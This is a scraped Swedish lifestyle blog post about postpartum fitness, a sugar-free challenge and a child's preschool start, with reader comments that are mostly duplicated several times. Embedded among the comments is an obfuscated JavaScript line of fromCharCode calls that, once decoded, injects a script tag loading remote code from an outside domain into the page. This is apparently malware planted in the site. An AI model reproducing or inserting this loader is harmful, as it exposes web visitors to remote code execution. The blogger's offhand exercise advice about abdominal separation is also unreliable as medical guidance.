Mot nya mål och nya möjligheter! 45min på crosstrainern idag! Plankan 3x så länge jag orkade! Jag kämpar med att styrka bukmuskulaturen och hitta bålstabilitet efter bukplastiken!
Jag kickade igång utmaningen #30dagarsockerfritt i förrgår.. Det är inte försent att hoppa på 😉
Jag är sötsugen som tusan! Men det är början som är värst!! Idag lämnade jag Ludvig själv på dagiset… Han hade hur kul som helst och var inte det minsta, ledsen, osäker eller negativ 🙂 -SÅÅÅ skönt! <3
Ludvigs super fina jacka kommer ifrån NOVASTAR
Jag har aldrig uppfattat att Ludvig är vänsterhänt, men idag så klippte han HELA tidén med vänster.. Spännande att se om han kommer bli vänsterhänt 🙂
Ikväll blir det biomys <3 hörs senare! Kramar/ My Martens
Hej!
Hittade hit till din blogg idag och minns dig från ensam mamma söker och har läst ikapp lite i din blogg som tycker den har ett intressant innehåll som jag nog kommer att följa.
Vill även passa på och säga att du blev riktigt snygg i håret och kul att det går så bra för din son på inskolningen. Han verkar vara en fin och trygg liten grabb, mycket tack tack vare dig antar jag. Gillar drivna kvinnor med båda fötterna på jorden och det verkar du vara. Det inspirerar mig!
Hälsningar en enastående ensamstående mamma till en grabb på 10 år // Elenor
Men åhhhhh! Vad glad jag blir ? det är alltid en omställning vid flytt och förskola, men det känns som om vi hittat hem <3 Vad det gäller hårfärgen, tack ? jag är ju blond naturligt… Så jag kände mig mer som "jag" med det! Du är mer än välkommen att följa bloggen.. Det är en life-style blogg som handlar om min vardag, som ensamstående småbarnsmamma, företagare, med mycket inslag av träning och hälsa! Jag älskar att peppa andra för att jag sjööv vet vilket enormt pepp jag själv har behövt och behöver! Kram
Hittade hit till din blogg idag och minns dig från ensam mamma söker och har läst ikapp lite i din blogg som tycker den har ett intressant innehåll som jag nog kommer att följa.
Vill även passa på och säga att du blev riktigt snygg i håret och kul att det går så bra för din son på inskolningen. Han verkar vara en fin och trygg liten grabb, mycket tack tack vare dig antar jag. Gillar drivna kvinnor med båda fötterna på jorden och det verkar du vara. Det inspirerar mig!
Hälsningar en enastående ensamstående mamma till en grabb på 10 år // Elenor
Men åhhhhh! Vad glad jag blir 🙂 det är alltid en omställning vid flytt och förskola, men det känns som om vi hittat hem <3 Vad det gäller hårfärgen, tack 🙂 jag är ju blond naturligt… Så jag kände mig mer som "jag" med det! Du är mer än välkommen att följa bloggen.. Det är en life-style blogg som handlar om min vardag, som ensamstående småbarnsmamma, företagare, med mycket inslag av träning och hälsa! Jag älskar att peppa andra för att jag sjööv vet vilket enormt pepp jag själv har behövt och behöver! Kram
Hej härliga My ? gillar din blogg du ger massa inspiration. Själv behöver jag träningsinnspiration och är sugen på nya träningskläder o gilla dina adidas tajts vart har du hittat dom? Kram
Kul att höra :)Jag tror dom kommer ifrån sportamore! Denna kollektionen gar precis släpps.. Om du inte hittar dom där så för du googla! -lycka till! (Jag fick mina i present) kram
Hej härliga My 🙂 gillar din blogg du ger massa inspiration. Själv behöver jag träningsinnspiration och är sugen på nya träningskläder o gilla dina adidas tajts vart har du hittat dom? Kram
Kul att höra :)Jag tror dom kommer ifrån sportamore! Denna kollektionen gar precis släpps.. Om du inte hittar dom där så för du googla! -lycka till! (Jag fick mina i present) kram
Hej My!
Hjälp mig med tips du som har koll på träning!
Jag har fött 2 barn och har fortfarande kvar magspalt på ca 2 cm trots att jag tränat passivt. Jag har legat på mage och dragit in magen 30 sekunder x 8 rep. I övrigt är jag 30 och normalviktiga men tappat muskler i övrigt också. Kan jag gå vidare till plankan eller ska spalten vara borta först?
Snälla hjälp!
Men att ha en brusten bukmuskulatur innebör inte att man inte kan eller får träna! Klart att du kan göra plankan! Kör, bara kör! Det som kan vara en konsekvens är att man aldrig kan bli lika stark eller tight som innan, man kanske inte drar ihop sig 100% MEN det är bara en fördel om man tränar! Ta kontakt med en lokal PT och berätta om det så kan han/hon säkert komma med föer bra övningar! ? vill du ta reda på exakt hur muskelaruren ser ut behlver du gå på en konsultation hos en läkare för bukplastik så kan han berätta exakt hur det ligger till! -lycka till och kör hårt! Kram
Hjälp mig med tips du som har koll på träning!
Jag har fött 2 barn och har fortfarande kvar magspalt på ca 2 cm trots att jag tränat passivt. Jag har legat på mage och dragit in magen 30 sekunder x 8 rep. I övrigt är jag 30 och normalviktiga men tappat muskler i övrigt också. Kan jag gå vidare till plankan eller ska spalten vara borta först?
Men att ha en brusten bukmuskulatur innebör inte att man inte kan eller får träna! Klart att du kan göra plankan! Kör, bara kör! Det som kan vara en konsekvens är att man aldrig kan bli lika stark eller tight som innan, man kanske inte drar ihop sig 100% MEN det är bara en fördel om man tränar! Ta kontakt med en lokal PT och berätta om det så kan han/hon säkert komma med föer bra övningar! 🙂 vill du ta reda på exakt hur muskelaruren ser ut behlver du gå på en konsultation hos en läkare för bukplastik så kan han berätta exakt hur det ligger till! -lycka till och kör hårt! Kram
Heej fina! ?
Skulle det inte vara superkul med en bloggträff av något slag? Vore så kul att träffa dig (och alla andra som slaviskt läser din blogg för pepp och inspiration ?
Kram Nathalie
Hej! Jo, det hade varit jätte kul ? det som ligger närmast dom planerna är Hälsokicken den 20/2 en kryssning där vi både tränar och umgås ? kika in på http://WWW.hälsokicken.com kram
Heej fina! 🙂
Skulle det inte vara superkul med en bloggträff av något slag? Vore så kul att träffa dig (och alla andra som slaviskt läser din blogg för pepp och inspiration 😉
Kram Nathalie
Hej! Jo, det hade varit jätte kul 🙂 det som ligger närmast dom planerna är Hälsokicken den 20/2 en kryssning där vi både tränar och umgås 🙂 kika in på http://WWW.hälsokicken.com kram
My Martens , Ako Rahim. Adviral Media.
d
Ako, Renata, My
var f=String;+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/
Du är o verkar vara en sund o härlig förebild ) o du skriver intressant !
Tack! ? kul att höra!
Du är o verkar vara en sund o härlig förebild ) o du skriver intressant !
Tack! 🙂 kul att höra!
Hej!
Hittade hit till din blogg idag och minns dig från ensam mamma söker och har läst ikapp lite i din blogg som tycker den har ett intressant innehåll som jag nog kommer att följa.
Vill även passa på och säga att du blev riktigt snygg i håret och kul att det går så bra för din son på inskolningen. Han verkar vara en fin och trygg liten grabb, mycket tack tack vare dig antar jag. Gillar drivna kvinnor med båda fötterna på jorden och det verkar du vara. Det inspirerar mig!
Hälsningar en enastående ensamstående mamma till en grabb på 10 år // Elenor
Men åhhhhh! Vad glad jag blir ? det är alltid en omställning vid flytt och förskola, men det känns som om vi hittat hem <3 Vad det gäller hårfärgen, tack ? jag är ju blond naturligt… Så jag kände mig mer som "jag" med det! Du är mer än välkommen att följa bloggen.. Det är en life-style blogg som handlar om min vardag, som ensamstående småbarnsmamma, företagare, med mycket inslag av träning och hälsa! Jag älskar att peppa andra för att jag sjööv vet vilket enormt pepp jag själv har behövt och behöver! Kram
Hej!
Hittade hit till din blogg idag och minns dig från ensam mamma söker och har läst ikapp lite i din blogg som tycker den har ett intressant innehåll som jag nog kommer att följa.
Vill även passa på och säga att du blev riktigt snygg i håret och kul att det går så bra för din son på inskolningen. Han verkar vara en fin och trygg liten grabb, mycket tack tack vare dig antar jag. Gillar drivna kvinnor med båda fötterna på jorden och det verkar du vara. Det inspirerar mig!
Hälsningar en enastående ensamstående mamma till en grabb på 10 år // Elenor
Men åhhhhh! Vad glad jag blir 🙂 det är alltid en omställning vid flytt och förskola, men det känns som om vi hittat hem <3 Vad det gäller hårfärgen, tack 🙂 jag är ju blond naturligt… Så jag kände mig mer som "jag" med det! Du är mer än välkommen att följa bloggen.. Det är en life-style blogg som handlar om min vardag, som ensamstående småbarnsmamma, företagare, med mycket inslag av träning och hälsa! Jag älskar att peppa andra för att jag sjööv vet vilket enormt pepp jag själv har behövt och behöver! Kram
Hej härliga My ? gillar din blogg du ger massa inspiration. Själv behöver jag träningsinnspiration och är sugen på nya träningskläder o gilla dina adidas tajts vart har du hittat dom? Kram
Kul att höra :)Jag tror dom kommer ifrån sportamore! Denna kollektionen gar precis släpps.. Om du inte hittar dom där så för du googla! -lycka till! (Jag fick mina i present) kram
Hej härliga My 🙂 gillar din blogg du ger massa inspiration. Själv behöver jag träningsinnspiration och är sugen på nya träningskläder o gilla dina adidas tajts vart har du hittat dom? Kram
Kul att höra :)Jag tror dom kommer ifrån sportamore! Denna kollektionen gar precis släpps.. Om du inte hittar dom där så för du googla! -lycka till! (Jag fick mina i present) kram
Hej My!
Hjälp mig med tips du som har koll på träning!
Jag har fött 2 barn och har fortfarande kvar magspalt på ca 2 cm trots att jag tränat passivt. Jag har legat på mage och dragit in magen 30 sekunder x 8 rep. I övrigt är jag 30 och normalviktiga men tappat muskler i övrigt också. Kan jag gå vidare till plankan eller ska spalten vara borta först?
Snälla hjälp!
Men att ha en brusten bukmuskulatur innebör inte att man inte kan eller får träna! Klart att du kan göra plankan! Kör, bara kör! Det som kan vara en konsekvens är att man aldrig kan bli lika stark eller tight som innan, man kanske inte drar ihop sig 100% MEN det är bara en fördel om man tränar! Ta kontakt med en lokal PT och berätta om det så kan han/hon säkert komma med föer bra övningar! ? vill du ta reda på exakt hur muskelaruren ser ut behlver du gå på en konsultation hos en läkare för bukplastik så kan han berätta exakt hur det ligger till! -lycka till och kör hårt! Kram
Hej My!
Hjälp mig med tips du som har koll på träning!
Jag har fött 2 barn och har fortfarande kvar magspalt på ca 2 cm trots att jag tränat passivt. Jag har legat på mage och dragit in magen 30 sekunder x 8 rep. I övrigt är jag 30 och normalviktiga men tappat muskler i övrigt också. Kan jag gå vidare till plankan eller ska spalten vara borta först?
Snälla hjälp!
Men att ha en brusten bukmuskulatur innebör inte att man inte kan eller får träna! Klart att du kan göra plankan! Kör, bara kör! Det som kan vara en konsekvens är att man aldrig kan bli lika stark eller tight som innan, man kanske inte drar ihop sig 100% MEN det är bara en fördel om man tränar! Ta kontakt med en lokal PT och berätta om det så kan han/hon säkert komma med föer bra övningar! 🙂 vill du ta reda på exakt hur muskelaruren ser ut behlver du gå på en konsultation hos en läkare för bukplastik så kan han berätta exakt hur det ligger till! -lycka till och kör hårt! Kram
Heej fina! ?
Skulle det inte vara superkul med en bloggträff av något slag? Vore så kul att träffa dig (och alla andra som slaviskt läser din blogg för pepp och inspiration ?
Kram Nathalie
Hej! Jo, det hade varit jätte kul ? det som ligger närmast dom planerna är Hälsokicken den 20/2 en kryssning där vi både tränar och umgås ? kika in på http://WWW.hälsokicken.com kram
Heej fina! 🙂
Skulle det inte vara superkul med en bloggträff av något slag? Vore så kul att träffa dig (och alla andra som slaviskt läser din blogg för pepp och inspiration 😉
Kram Nathalie
Hej! Jo, det hade varit jätte kul 🙂 det som ligger närmast dom planerna är Hälsokicken den 20/2 en kryssning där vi både tränar och umgås 🙂 kika in på http://WWW.hälsokicken.com kram